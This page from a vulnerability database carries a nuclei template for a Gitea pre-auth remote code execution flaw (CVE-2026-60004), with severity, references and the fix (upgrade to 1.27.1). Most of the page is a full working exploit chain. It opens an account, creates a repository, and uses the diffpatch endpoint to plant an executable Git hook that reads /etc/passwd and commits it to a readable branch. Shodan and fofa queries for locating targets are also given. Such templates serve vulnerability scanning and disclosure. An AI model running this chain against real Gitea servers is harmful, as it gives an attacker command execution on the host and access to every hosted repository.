Lucene search
+L

Gitea <= 1.27.0 - Pre-Auth Remote Code Execution

🗓️ 03 Aug 2026 04:01:52Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Gitea 1.17–1.27.0 enables pre-auth remote code execution via diffpatch.

Related
Refs
Code
id: CVE-2026-60004

info:
  name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.
  impact: |
    Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.
  remediation: |
    Update to Gitea version 1.27.1 or later.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
    - https://github.com/EQSTLab/CVE-2026-60004
    - https://nvd.nist.gov/vuln/detail/CVE-2026-60004
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-60004
    cwe-id: CWE-94
  metadata:
    max-request: 9
    verified: true
    vendor: go-gitea
    product: gitea
    shodan-query: "Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,rce,intrusive

variables:
  ruser: "testpoc{{rand_int(10000,99999)}}"
  rpass: "T3stP0c!{{rand_int(10000,99999)}}"
  remail: "testpoc{{rand_int(10000,99999)}}@test.local"
  rrepo: "poc-{{rand_int(10000,99999)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  - raw:
      - |
        GET /user/sign_up HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "user_name") || contains(body, "sign_up")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="_csrf"\s+content="([^"]+)"'
          - 'name="_csrf"\s+value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /user/sign_up HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302 || status_code == 303'
        internal: true

  - raw:
      - |
        POST /api/v1/user/repos HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"name":"{{rrepo}}","private":true,"auto_init":true,"default_branch":"main"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(branch_sha) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: branch_sha
        json:
          - '.commit.id'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-1", "branch": "main", "sha": "{{branch_sha}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'len(commit_sha1) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: commit_sha1
        json:
          - '.commit.sha'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-2", "branch": "main", "sha": "{{commit_sha1}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"CVE-2026-60004 RCE | Gitea | /etc/passwd: " + body'
# digest: 4b0a00483046022100bc8aed32e9d280fcd4274d3d970ad1e5fcb6c6e418f113c95fe85ec82dbb0ce4022100d830379134123169e80e2a3c387e6940488521d629439519e884389aabd72a54:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation